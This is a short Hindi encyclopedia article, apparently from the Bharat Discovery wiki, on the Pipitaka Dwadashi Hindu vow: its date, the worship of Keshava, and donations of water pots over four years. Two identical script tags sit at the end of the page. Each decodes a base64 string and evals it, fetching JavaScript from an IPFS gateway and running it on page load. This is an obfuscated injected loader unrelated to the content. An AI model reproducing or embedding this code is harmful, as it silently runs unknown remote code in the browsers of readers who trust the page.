पिपीतक द्वादशी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • वैशाख शुक्ल पक्ष की द्वादशी पर यह व्रत आरम्भ होता है।
  • केशव की प्रतिमा को शीतल जल से नहलाना तथा गंध, पुष्प आदि उपचारों से पूजा की जाती है।
  • प्रथम वर्ष में चार जलपूर्ण घड़ों का दान दिया जाता है।
  • दूसरे वर्ष में इसी प्रकार 8 घड़ों, तीसरे वर्ष में 12 घड़ों, चौथे वर्ष में 16 घड़ों का दान दिया जाता है।
  • सोने की दक्षिणा भी दी जाती है।
  • पिपीतक नामक ब्राह्मण के नाम से विख्यात है।[1]


टीका टिप्पणी और संदर्भ

  1. व्रतकालविवेक (19-20); वर्षक्रियाकौमुदी (252-258); तिथितत्त्व (114)।

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>